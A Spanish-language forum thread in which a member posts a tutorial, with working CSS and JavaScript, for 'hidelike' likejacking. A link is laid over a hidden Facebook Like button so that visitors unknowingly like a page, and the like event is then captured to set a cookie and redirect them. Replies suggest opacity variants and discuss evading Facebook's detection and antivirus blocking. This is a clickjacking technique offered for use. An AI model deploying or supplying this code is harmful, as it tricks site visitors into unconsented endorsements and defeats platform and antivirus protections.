Tutorial: Ocultar Like con CSS + Capturar Like con JS

Cicklow Seguir
Seguidores
14

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Desde
30 May 2011
Mensajes
966
Buenas, en el tutorial anterior [ http://forobeta.com/tutoriales/251727-ocultar-like-css.html ] vimos como ocultar el like con solo CSS abajo de un link. Ahora lo que vamos a hacer es una ves que el usuario dio like, es redireccionar a otro lado o sacar el boton like!
Puntos nuevos en este hidelike
- Si el usuario ya ha echo like no aparece el like y deja solo el link
- Cuando el user da like, se redirecciona al link donde tiene que ir realmente


sin-t-tulo-436fefe.png

Código antes del </head>
HTML:
	<style>
	.wrapper a.facebook {
	    position: absolute;
	    padding:5px 46px 5px 15px; /*margenes para tapar el like!*/
	    margin:-8px 0 0 -100px; /*este editen para poner el link arriba del like!*/
	    pointer-events:none; /* este es el truco! */
	    -webkit-margin-before: -45px; /* fix para crhome */
	    -webkit-margin-start: -55px; /* fix para crhome */
	}
	a.hide {
	    background-color:#3c5a76; /*color de fondo del link (para tapar el like)*/
	    text-decoration:none;
	}
	a.show {
	    background-color: rgba(255,0,0,0.5);
	    text-decoration:none;
	}
	.wrapper {
		margin-top:20px;
	}
	</style>

Código despues de <body>
HTML:
        <script type="text/javascript">
	//Funcion encargada de verificar el like, ocultar el like, permitir clic en el link, colocar cookie y redireccionar
	function ver_like_ccw(url, html_element) {
		document.getElementById('sacame').style.display="none";
		document.getElementById('linkreal').style.pointerEvents = "auto";
		setCookie("yatacookie","1",100);
		document.location="http://www.google.com.ar"; //irme a donde!
	}
	//Funcion encargada de setear la cookie
	function setCookie(cname,cvalue,exdays){
		var d = new Date();
		d.setTime(d.getTime()+(exdays*24*60*60*1000));
		var expires = "expires="+d.toGMTString();
		document.cookie = cname + "=" + cvalue + "; " + expires;
	}
	//Funcion encargada de leer las cookies
	function getCookie(cname){
		var name = cname + "=";
		var ca = document.cookie.split(';');
		for(var i=0; i<ca.length; i++){
			var c = ca[i].trim();
			if (c.indexOf(name)==0) return c.substring(name.length,c.length);
		}
		return "";
	}
	</script>
HTML:
	<script type="text/javascript">
	//iniciamos la api de facebook
	window.fbAsyncInit = function () {
	        FB.init({
        	    appId: 'APP_ID', 
	            status: false,
        	    cookie: false, 
	            xfbml: true
        	});
		//Capturamos el evento like
		FB.Event.subscribe('edge.create', ver_like_ccw);
	};
	</script>
	<div id="fb-root"></div>
	<script>(function(d, s, id) {
	  var js, fjs = d.getElementsByTagName(s)[0];
	  if (d.getElementById(id)) return;
	  js = d.createElement(s); js.id = id;
	  js.src = "//connect.facebook.net/es_LA/all.js#xfbml=1&appId=APP_ID";
	  fjs.parentNode.insertBefore(js, fjs);
	}(document, 'script', 'facebook-jssdk'));</script>
Colocar este código después del boton like oculto:
HTML:
       <script type="text/javascript">
		//Verificamos el estado de la cookie, si esta en 1 ocultamos el like y permitimos clic en el link!
		if(getCookie("yatacookie")==1){
			document.getElementById('sacame').style.display="none";
			document.getElementById('linkreal').style.pointerEvents = "auto";
		}
        </script>

Como seria el boton like:
HTML:
<div class="wrapper"><div class="fb-like" data-href="https://forobeta.com" data-width="90" data-layout="button" data-action="like" data-show-faces="false" data-share="false" style="width:80px;overflow:hidden;" id="sacame"></div><a href="http://www.google.com.ar/" class="facebook hide" id="linkreal">Click Aqui</a></div>
Cambien google.com.ar por el sitio a donde ir dsp del like!

Demo: Auto Like v2

PD: Este hidelike no lo detecta ningun antivirus
PD: Solo coloco el tutorial de como hacerlo con facebook, cambiando la api de facebook por la de twitter o google pueden usar los g+ o los botones de tw!
PD: Si tienen problemas con tapar el boton like vean bien las coordenadas del (margin) link
PD: para obtener la app_id usan: https://developers.facebook.com/apps y solo ponen el nombre de la apps, y la url de su sitio!

Saludos!

NO citen el post, ya que si se hacen modificaciones dsp quedan pedazos en todo el post!​
 
Última edición:

HuGo

Mi
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Desde
21 Ene 2011
Mensajes
3.428
Eres grande [MENTION=9679]cicklow[/MENTION]! Gracias por el nuevo aporte, vamos a testearlo :encouragement:
 

rodrileo

Gamma
Verificación en dos pasos desactivada
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Desde
21 Mar 2012
Mensajes
183

Angel Perales

Préstamo
Iota
Social Media
Verificación en dos pasos desactivada
Desde
4 Ago 2013
Mensajes
2.018
Por favor, ten en cuenta 📝 que si deseas hacer un trato 🤝 con este usuario, está baneado 🔒.
En el test no me aparece nada no redirecciona, ni aparece como link. ¿sera un error de mi navegador?
 

Cicklow

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Desde
30 May 2011
Mensajes
966
En el test no me aparece nada no redirecciona, ni aparece como link. ¿sera un error de mi navegador?

a mi me funciona bien, el unico error que veo es que en chrome el link no tapa al like...
 

parrax

Gamma
Verificación en dos pasos desactivada
Verificado por Whatsapp
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Desde
8 Nov 2012
Mensajes
172
y si se le agrega el filtro opacity funcionará!!
 

Cicklow

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Desde
30 May 2011
Mensajes
966
El chrome, y maxthon

en chrome el CSS es distinto (las coordenadas) por eso no lo tapa al link... pero es raro... a mi en chrome al menos me aparece el like..(en ff me funciona bien)
 

Angel Perales

Préstamo
Iota
Social Media
Verificación en dos pasos desactivada
Desde
4 Ago 2013
Mensajes
2.018
Por favor, ten en cuenta 📝 que si deseas hacer un trato 🤝 con este usuario, está baneado 🔒.
en chrome el CSS es distinto (las coordenadas) por eso no lo tapa al link... pero es raro... a mi en chrome al menos me aparece el like..(en ff me funciona bien)
Problema solucionado... Era el avast que me bloqueaba los Me gusta
 
Última edición:

parrax

Gamma
Verificación en dos pasos desactivada
Verificado por Whatsapp
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Desde
8 Nov 2012
Mensajes
172
la mejor forma de ocultarlo es así

<span style='float:left;position:absolute;margin-top:150px;padding:0px 61px;height:20px;width:72px;overflow:hidden;border:none;filter:alpha(opacity=70);opacity:0.8'>
<iframe title='Entrar' allowTransparency='true' colorscheme='dark' expr:src='&quot;Facebook data:post.url + &quot;&amp;layout=button_count&amp;show_faces=false&amp;width=72&amp;action=like&amp;font=arial&amp;colorscheme=light&quot;' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:72px; height:21px;'/>
</span>

o es mala mi idea?....
 

Cicklow

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Desde
30 May 2011
Mensajes
966
la mejor forma de ocultarlo es así

<span style='float:left;position:absolute;margin-top:150px;padding:0px 61px;height:20px;width:72px;overflow:hidden;border:none;filter:alpha(opacity=70);opacity:0.8'>
<iframe title='Entrar' allowTransparency='true' colorscheme='dark' expr:src='"Facebook data:post.url + "&layout=button_count&show_faces=false&width=72&action=like&font=arial&colorscheme=light"' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:72px; height:21px;'/>
</span>

o es mala mi idea?....

facebook ya detecta si usas el opacity en sus like... por eso mucho no se usa porque face te banea el dominio... pero mientras funcione...
 

Angel Perales

Préstamo
Iota
Social Media
Verificación en dos pasos desactivada
Desde
4 Ago 2013
Mensajes
2.018
Por favor, ten en cuenta 📝 que si deseas hacer un trato 🤝 con este usuario, está baneado 🔒.
[MENTION=9679]cicklow[/MENTION] no puedes usar el -webkit- para el error de chrome
 

Cicklow

Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Suscripción a IA
Desde
30 May 2011
Mensajes
966
[MENTION=9679]cicklow[/MENTION] no puedes usar el -webkit- para el error de chrome

en un rato lo miro... ando editando otra cosa :)

---------- Post agregado el 28-ene-2014 hora: 02:12 ----------

[MENTION=9679]cicklow[/MENTION] no puedes usar el -webkit- para el error de chrome

isto :)
HTML:
	    -webkit-margin-before: -45px; /* fix para crhome */
	    -webkit-margin-start: -55px; /* fix para crhome */
 

Angel Perales

Préstamo
Iota
Social Media
Verificación en dos pasos desactivada
Desde
4 Ago 2013
Mensajes
2.018
Por favor, ten en cuenta 📝 que si deseas hacer un trato 🤝 con este usuario, está baneado 🔒.
en un rato lo miro... ando editando otra cosa :)

---------- Post agregado el 28-ene-2014 hora: 02:12 ----------



isto :)
HTML:
        -webkit-margin-before: -45px; /* fix para crhome */
        -webkit-margin-start: -55px; /* fix para crhome */
Ok, usas firefox verdad? ahora esta el truco completo.. Funciona con Internet explorer?
 

Obed Rivera

Iota
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
Verificado por Binance
Desde
2 Ene 2014
Mensajes
2.407
y para agregarlo en blogger se podra?
espero tu respuesta :p7:
pd: (ta linda tu firma parece un panda o koala)
 

¡Regístrate y comienza a ganar!

Beneficios

  • Gana dinero por participar
  • Gana dinero por recomendarnos
  • Descubre ofertas de empleo diariamente
  • Negocios seguros
  • ¡Información premium y más!

Acceder

¿Ya tienes una cuenta? Accede aquí

Arriba